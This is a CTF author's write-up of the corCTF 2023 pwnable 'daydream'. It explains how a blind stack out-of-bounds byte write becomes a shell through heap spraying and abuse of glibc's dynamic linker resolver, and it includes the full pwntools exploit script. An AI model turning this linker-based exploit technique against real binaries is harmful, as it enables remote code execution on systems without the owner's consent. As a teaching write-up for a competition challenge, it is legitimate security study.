Sammy Hajhamid Blog


daydream: turning stack OOB into universal RCE without ever leaking memory
author writeup to corCTF 2023’s unsolved pwnable, where competitors must exploit a previously unexploitable primitive: universal blind stack write
August 5, 2023
security

Introduction

I’ve always liked problems that were easy to state but hard to solve. The barrier for entry to corCTF pwn challenges are typically very high—µarch and kernel are large departures from the more comfortable heap notes, so “daydream” as was designed to be more accessible. This was not at the cost of difficulty. At the end of the CTF, it was one of the two pwn challenge to remain unsolved.

“daydream” is a short glibc pwnable. In fact, here’s the source code for the challenge:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    uint8_t bytes[16] = {0};
    size_t idx, value = 0;

    setbuf(stdin, malloc(0x2000));

    while (!bytes[0])
    {
        scanf("%ld %ld", &idx, &value);
        bytes[idx] = value;
    }

}

The description and name of the challenge hints at its relationship with “nightmare”, my challenge for DiceCTF 2022 (this writeup does not require understanding it, however it is strongly encouraged). This was a nudge and indicator that this is also a linker challenge.

In short, the linker—also fancily called the runtime loader or dynamic linker to distinguish it from the compile-time linker—is the program that loads programs into memory. Typically, you’ll see this as some form of “ld-linux-x86-64.so.2” loaded as a shared library. All non-statically compiled programs use the linker, making it a near universal attack surface.

A less subtle indicator for the linker, this challenge is also blind with all protections enabled. The executor for this challenge does not provide stdout, so all exploitation must occur without knowing any addresses in memory. Previously, there weren’t general strategies for blind-fullprot challenges (how does one encode executing a onegadget or system without specifying where either are located in memory?). Linker exploits can help with that! For example, ret2dlresolve is already a well-known and used trick.

First Steps

The program allows you to write whatever byte you want a relative offset from a stack buffer. Writing anything that’s not 0 to index 0 causes the program to return. It has all protections enabled, hides stdout, and has anti-bruteforce protection.

First off, the only complex surface accessed before returning is “scanf”. However, it doesn’t use the values of anything we can write on the stack, so we cannot interfere with it. Similarly, returning from main doesn’t access stack variables. This means we must modify the return address. Because of the anti-bruteforce protection, we can only expect the bottom 12 bits to be constant. This means, as a first step, we can only modify the least significant byte, or LSB, of the return address for a consistent exploit.

LSB overwrite on __libc_start_call_main+128

This is our return address. the return address dawg We can return anywhere in a 255 byte range by setting the last byte 90 to any value between 00 and ff. But where will we return? We can view all the options here:

Well, what do we want out of the code that we’ll return to? It’ll have to reference data on the stack, since there’s simply not enough entropy in the registers we affect to encode “give me a shell”.

Some attempts included jumping to b2 since we control the syscall number, but we don’t have sufficient control over the other registers to any meaningful syscall besides sigreturn. However, even with sigreturn, we can’t construct a valid instruction pointer, so this avenue isn’t useful.

Another, more fruitful attempt, is to rewind just a few bytes back in __libc_start_call_main, to 76.

Here, we load local variables off the stack and call [rsp+8]. This is the main function, and the arguments to it are the argument count, arguments, and the environment variables. These, except for the enviroment variables, are also held on the stack. Using 76 intuitively makes sense, because we know before calling main (where our return pointer is near) we need to load the function and its arguments, a process we can easily interfere with.

Neighbors of main

We can modify argc and argv on the stack, as well as the pointer to main. We are in a similar situation now, able to call anything in a 255 byte range near main by modifying its LSB, but also with argument control. What should we call? Here are our options:

There are two interesting targets here: scanf@plt, and the PLT trampolines.

Ideally, we could call scanf with arguments we control and get a format string exploit. However, since argc is 4 bytes, it can’t hold a pointer. Perhaps, in a different world, argv is the first argument to the main function, making this challenge trivial :P

PLT functions

I discuss PLT functions more in my writeup to nightmare, but the gist is that there are two code segments for each symbol: .plt functions and PLT trampolines. .plt functions are just jumps to whatever’s being held in the GOT entry associated with this symbol. This is what functions like main call into. For example, here’s the .plt function associated with scanf.

PLT trampolines are the initial value of a symbol’s GOT entry, which calls a “resolver” function (such as _dl_runtime_resolve_fxsave) that overwrites the GOT entry with the actual address of the symbol in the library (such as system or scanf). They are typically structed as a push of the index associated with the symbol and jump to the resolver dispatcher. We won’t go into how these indicies are used right now. The resolver dispatcher just jumps to _dl_runtime_resolve_fxsave, which will take the index and translate it to an the actual function address. Here’s the PLT trampoline for scanf. We can see that the index associated with scanf is 0x3:

And the dispatcher, at 020:

We can see in the GOT that most symbols are resolved, while __stack_chk_fail still points to its PLT trampoline. This makes sense, since the GOT entry hasn’t been overwritten by the resolver:

To summarize, .plt functions call whatever’s in the GOT. PLT trampolines put stuff in the GOT and call external symbols. They jump to the

At this point, you might start brewing an interesting—but nearly impossible—plan. “If we could call the resolver dispatcher, at 20, with our own index, argc, perhaps we could have our own symbol resolved, like system?”, many competitors thought.

Moonshine! That can’t be possible. First off, the calling convention for the resolver dispatcher uses stack arguments, not registers. If we called the dispatcher, we’d end up pushing the return address of the call rather than the index we wanted to use. Besides, the indexes, like scanf’s 0x3, are used to index tables, such as symtab or strtab, stored in the binary. Even if you could index those tables out-of-bounds, it wouldn’t matter, since you don’t control anything inside the binary. It’s just not possible.

Overlapping Stack Frames and Heap Sprays

First, we need to figure out how to jump to 20 rather than calling it. This is so we don’t push a return address on the stack, preventing us from specifying an arbitrary index.

Prologue Skipping

When calling a function, the epilogue assumes the size of the stack frame. Specifically, it assumes the stack has grown by the amount the prologue of the function has defined. In the case of the main function, the prologue looks like:

The three pushes and sub rsp, 0x30 cause the stack frame to be 0x48 bytes. The epilogue, similarily, does add rsp, 0x30 and three pops:

However, if we called main+16, for example, skipping a few pushes in the prologue of the function, the epilogues assumptions on the stack frame’s size is invalidated. The prologue didn’t grow the stack frame as much as the epilogue assumes, causing the epilogue to eat in the previous functions stack frame. We can select the number of pushes we’d like to skip to overlap our stack frame with the previous one.

In this case, we can skip two pushes to overlap the return address of main’s stack frame with the local variable, main, in __libc_start_call_main’s stack frame. This is the main function __libc_start_call_main calls. By tweaking the LSB of main, we can return into the PLT dispatcher! Writing the index we’d like to use under this return address allows us to emulate pushing it to the stack.

stdin Spraying

Okay, that’s cool, but what’s the point if the index won’t point to our data? Well, if you’ve read this writeup on zelda (or perhaps seem many vmmaps before), you’ll know that the heap is awfully close to the loaded binary. Sure enough, if you look at the kernel source, the heap is a random offset from the end of the binary, in the range from (0x0, 0x2000000).

We do control data on the heap. scanf requests characters from the _IO_2_1_stdin_ object, which reads bytes in chunks of in 0x2000. One strategy we could try is creating a fake relocation object on the heap, and then guess the offset to index it. However, this requires bruteforce! What can we do?

By repeatedly calling the main function in a loop, we can keep creating new backing buffers for stdin. We can fill all 0x2000 bytes, repeating our symbol object at intervals of 0x1000. If we do this 4096 times, then we’d allocate 0x2000000 bytes of controlled data. If we then supply an index that’s 0x2000000 bytes off the end of the binary, we’re guaranteed to read the symbol either at the start of the heap, or the end of the heap. Spraying is a powerful technique that can often get around ASLR!

To summarize what we’ve done so far, we’ve overwritten the LSB of the return address to rewind __libc_start_call_main so that it reads the address of main off the stack. It will continually call main, spraying the stdin input buffer over the heap. We then change the address of main’s LSB on the stack so it points to main+16. Then, when main returns, we call main+16. We change the return address, also main+16, to the resolver dispatcher. We also write the index of the maximum heap offset, 0x2000000, under the return address. After main+16 returns, it’ll jump to the dispatcher with the index at the top of the stack.

Symbol Resolution to RCE

Calling an arbitrary symbol isn’t enough to get remote code execution. Even if you can call system, what does it matter if you can’t control what rdi points to? We can’t call a one gadget since it’s not a well defined symbol, and even if we could, the constraints aren’t satisfied. If only it was possible to modify the register state somehow…

Modifying _dl_runtime_resolve_xsavec’s internal state

The underlying resolver called by the resolver dispatcher is a wrapper around the function _dl_fixup. It first stores all the registers interal state on the stack, calls _dl_fixup using the stack arguments, and then restores the register state. The idea behind it is that _dl_fixup is a foriegn function that may clobber the program state in unexpected ways, so we account for that by saving the state to the stack.

By creating a symbol which calls into main (again) using a STT_GNU_IFUNC, we can not only modify the local variables of _dl_fixup, but also register state stored by _dl_runtime_resolve_xsavec. Specifically, with an LSB overwrite, we can cause the resolved symbol, _dl_fixup’s return value, to be the resolver dispatcher, allowing us to call _dl_fixup on the next index on the stack. This is useful, because we can modify the register state with our stack write before calling into the dispatcher.

Stack Spraying “/bin/sh”

Specifically, we’d like to get rdi pointing at “/bin/sh”. rdi is set to a stack buffer used by scanf for storing the last read value. We can modify the saved rdi in _dl_runtime_resolve_xsavec, setting its last two bytes to 00. The overall effect is that rdi points much higher on the stack, safe from getting clobbered by _dl_fixup when we call system. We can then spray 0x10000 / 8 “/bin/sh”s over the stack, and we’ll be guarenteed to have rdi point to them once _dl_runtime_resolve_xsavec restores it. From there, we just choose a different symbol index that’ll resolve system.

Exploit Code

Let’s put this into action, calling a symbol we desire. I’m skipping over a few implementation details (Technically the allocation size is 0x2010, since the chunk header occupies 0x10 bytes. This means we need to shift around our spray inside the input buffer to stay aligned to 0x1000 byte boundaries. Additionally, because we have to have valid indicies for tables of different sizes, we need to have larger sprays. For example, if we index a table with 1-byte-sized elements at index 0x2000000, indexing a table with 2-byte-sized elements would be at the logical byte offset 0x2000000 * 2, or 0x4000000).

First, I’ll create a wrapper for the payload creation. It’ll make creating sprays easier.

class Buffer(io.BytesIO):
    # fills the rest of the stdin buffer
    def commit(self):
        self.write(b"\x00" * (0x2000 - (self.tell() % 0x2000)))

    def swrite(self, where, what):
        self.write(f"{where} {what}".encode() + b"\n")

    def write_bytes(self, where, what):
        for i in range(len(what)):
            self.swrite(where + i, what[i])
buf = Buffer()

Then, I’ll define some constants for the location of the return address, __libc_start_call_main+128, and the local variable main in __libc_start_call_main.

ret_addr = 0x38
main_addr = ret_addr + 0x10

Now, I’ll calculate the required indices for each table:

maximum_heap_offset = 0x2000000

payload_offset = (
    maximum_heap_offset + 0x5000 + 0xBA8
)  # offset from start of binary space
assert (payload_offset - bin.dynamic_value_by_tag("DT_JMPREL")) % 0x18 == 0

plt_idx = (
    payload_offset - bin.dynamic_value_by_tag("DT_JMPREL")
) // 0x18  # offset from start of binary space
symtab_idx = (
    payload_offset + 0x18 - bin.dynamic_value_by_tag("DT_SYMTAB")
) // 0x18  # offset from start of binary space
ver_idx = (payload_offset + 0x18 - bin.dynamic_value_by_tag("DT_VERSYM")) // 0x2


strtab_idx = (
    payload_offset + 0x18 * 2 + 0x8 - bin.dynamic_value_by_tag("DT_STRTAB")
)  # offset from start of binary space

We’ll then actually create the symbol structures, into a simple sprayable payload.

fake_symtab_entry = (
    p32(0x17) + p8(10) + p8(1) + p16(0) + p64(bin.symbols["main"]) + p64(0)
) + (p32(strtab_idx) + p8(10) + p8(0) + p16(0) + p64(0xDEADBEEF) + p64(0))
fake_reloc_entry = (p64(0x4018) + p32(7) + p32(ver_idx) + p64(0)) + (
    p64(0x4018) + p32(7) + p32(ver_idx + 1) + p64(0)
)
fake_vertab_entry = p64(0x03) + b"system\x00"
payload = fake_reloc_entry + fake_vertab_entry

We’ll then actually spray this payload over the heap, at intervals of 0x1000.

for i in range(maximum_heap_offset // 0x2000 * 0xC):
    # write payload at offsets
    symtab_offset = 0x908 + 0xF0
    reloc_symtab_offset = 0x908
    # create series of writes and the indexes they need to be written at
    payload_offsets = sorted(
        [
            ((reloc_symtab_offset - i * 0x10) % 0x2000, payload),
            ((reloc_symtab_offset + 0x1000 - i * 0x10) % 0x2000, payload),
            ((symtab_offset - i * 0x10) % 0x2000, fake_symtab_entry),
            ((symtab_offset + 0x1000 - i * 0x10) % 0x2000, fake_symtab_entry),
        ],
        key=lambda x: x[0],
    )

    spray_buf = Buffer()
    spray_buf.truncate(0x2000)
    for offset, dat in payload_offsets:
        if offset > 0x2000 - len(dat):
            continue
        spray_buf.seek(offset)
        spray_buf.write(dat)

    spray_buf.seek(0)

    spray_buf.swrite(ret_addr, 0x76) # recall main on ret
    spray_buf.swrite(0, 0xFF)
    buf.write(spray_buf.getvalue())
    buf.commit()

Now that we’ve sprayed our symbol data over the heap, we call overlap the stack frames of main and __libc_start_call_main:

# set lsb to main+0x10 to misalign the stack by 0x10 bytes
buf.swrite(main_addr, 0xD0)
# set lsb of __libc_start_call_main to recall main+0x10
buf.swrite(ret_addr, 0x76)
# set edi to large malloc (local variable argc by __libc_start_call_main)
buf.write_bytes(main_addr + 0x8 + 0x4, p32(0x2000))

buf.swrite(0, 0xFF)
buf.commit()

After we’ve returned from main, we’ll modify the return address of main+16 to point to the resolver dispatcher.

# reset
buf.swrite(0, 0)
# plt resolver addr
buf.swrite(ret_addr, 0x20)
# set plt index, which should be on the heap. this'll call main
buf.write_bytes(ret_addr + 0x8, p64(plt_idx))
# this'll also call main. it's for stack alignment.
buf.write_bytes(ret_addr + 0x10, p64(plt_idx))
# this'll call system.
buf.write_bytes(ret_addr + 0x18, p64(plt_idx + 1))
buf.swrite(0, 0xFF)

buf.commit()

Now, once we’re in the main invoked within _dl_fixup, we’ll modify internal state of _dl_fixup and _dl_runtime_resolve_xsavec.

# hop _dl_fixup to alternate branch that uses stack variable for return value
buf.swrite(ret_addr, 0xA4)
# set lsb of return value of _dl_fixup to dispatch resolver
buf.swrite(ret_addr + 0x10, 0x20)

# set saved rdi bottom two bytes to 0000
buf.write_bytes(0xA0, p16(0x0000))

buf.swrite(0, 1)
buf.commit()

We’ll spray “/bin/sh” over where rdi points in the next iteration of main.


spray = b"/bin/sh\x00" * 0x2000
buf.write_bytes(-0x10000, spray)
buf.swrite(0, 1)
buf.commit()

Now, the next input proccessed will be by /bin/sh! Let’s get the flag and win.

buf.write(b"cat /flag\nexit\n")

Here’s the exploit in its entirety.

from pwn import *
import io

bin = ELF("./daydream")
# r = process(bin.path)

# r = remote("localhost", 5000)
# r = process(["python3", "main.py"])
# gdb.attach(r, "break *_dl_fixup+81\nbreak *main+152")
# gdb.attach(r, "break *_dl_fixup+608\nbreak *_dl_runtime_resolve_xsavec+186")


class Buffer(io.BytesIO):
    def commit(self):
        self.write(b"\x00" * (0x2000 - (self.tell() % 0x2000)))

    def swrite(self, where, what):
        self.write(f"{where} {what}".encode() + b"\n")

    def write_bytes(self, where, what):
        for i in range(len(what)):
            self.swrite(where + i, what[i])


buf = Buffer()

ret_addr = 0x38
main_addr = ret_addr + 0x10
maximum_heap_offset = 0x2000000

payload_offset = (
    maximum_heap_offset + 0x5000 + 0xBA8
)  # offset from start of binary space
assert (payload_offset - bin.dynamic_value_by_tag("DT_JMPREL")) % 0x18 == 0

plt_idx = (
    payload_offset - bin.dynamic_value_by_tag("DT_JMPREL")
) // 0x18  # offset from start of binary space
symtab_idx = (
    payload_offset + 0x18 - bin.dynamic_value_by_tag("DT_SYMTAB")
) // 0x18  # offset from start of binary space
ver_idx = (payload_offset + 0x18 - bin.dynamic_value_by_tag("DT_VERSYM")) // 0x2


strtab_idx = (
    payload_offset + 0x18 * 2 + 0x8 - bin.dynamic_value_by_tag("DT_STRTAB")
)  # offset from start of binary space


fake_symtab_entry = (
    p32(0x17) + p8(10) + p8(1) + p16(0) + p64(bin.symbols["main"]) + p64(0)
) + (p32(strtab_idx) + p8(10) + p8(0) + p16(0) + p64(0xDEADBEEF) + p64(0))
fake_reloc_entry = (p64(0x4018) + p32(7) + p32(ver_idx) + p64(0)) + (
    p64(0x4018) + p32(7) + p32(ver_idx + 1) + p64(0)
)
fake_vertab_entry = p64(0x03) + b"system\x00"
payload = fake_reloc_entry + fake_vertab_entry


for i in range(maximum_heap_offset // 0x2000 * 0xC):
    # write payload at offsets
    # reloc_symtab_offset = 0x908
    symtab_offset = 0x908 + 0xF0
    reloc_symtab_offset = 0x908
    payload_offsets = sorted(
        [
            ((reloc_symtab_offset - i * 0x10) % 0x2000, payload),
            ((reloc_symtab_offset + 0x1000 - i * 0x10) % 0x2000, payload),
            ((symtab_offset - i * 0x10) % 0x2000, fake_symtab_entry),
            ((symtab_offset + 0x1000 - i * 0x10) % 0x2000, fake_symtab_entry),
        ],
        key=lambda x: x[0],
    )

    spray_buf = Buffer()
    spray_buf.truncate(0x2000)
    for offset, dat in payload_offsets:
        if offset > 0x2000 - len(dat):
            continue
        spray_buf.seek(offset)
        spray_buf.write(dat)

    spray_buf.seek(0)

    spray_buf.swrite(ret_addr, 0x76)
    spray_buf.swrite(0, 0xFF)
    buf.write(spray_buf.getvalue())
    buf.commit()

# set lsb to main+0x10 to misalign the stack by 0x10 bytes
buf.swrite(main_addr, 0xD0)
# set lsb of __libc_start_call_main to recall main+0x10
buf.swrite(ret_addr, 0x76)
# set edi to large malloc (local variable argc by __libc_start_call_main)
buf.write_bytes(main_addr + 0x8 + 0x4, p32(0x2000))

buf.swrite(0, 0xFF)
buf.commit()

# reset
buf.swrite(0, 0)
# plt resolver addr
buf.swrite(ret_addr, 0x20)
# set plt index, which should be on the heap. this'll call main
buf.write_bytes(ret_addr + 0x8, p64(plt_idx))
# this'll also call main. it's for stack alignment.
buf.write_bytes(ret_addr + 0x10, p64(plt_idx))
# this'll call system.
buf.write_bytes(ret_addr + 0x18, p64(plt_idx + 1))
buf.swrite(0, 0xFF)

buf.commit()

# hop dl_fixup to alternate branch that uses stack variable for return value
buf.swrite(ret_addr, 0xA4)
# set lsb of return value of _dl_fixup to dispatch resolver
buf.swrite(ret_addr + 0x10, 0x20)

# set saved rdi bottom two bytes to 0000
buf.write_bytes(0xA0, p16(0x0000))

buf.swrite(0, 1)
buf.commit()

buf.swrite(ret_addr, 0xA4)
buf.swrite(ret_addr + 0x10, 0x20)


spray = b"/bin/sh\x00" * 0x2000
buf.write_bytes(-0x10000, spray)
buf.swrite(0, 1)
buf.commit()

buf.write(b"cat /flag\nexit\n")

# write buf to file
with open("exploit", "wb") as f:
    f.write(buf.getvalue())

Conclusion

Linker exploits are really neat. They can make unsolvable challenges solvable, thanks to their ASLR independent nature. I hope this inspires you to poke around in _dl_fixup yourself :D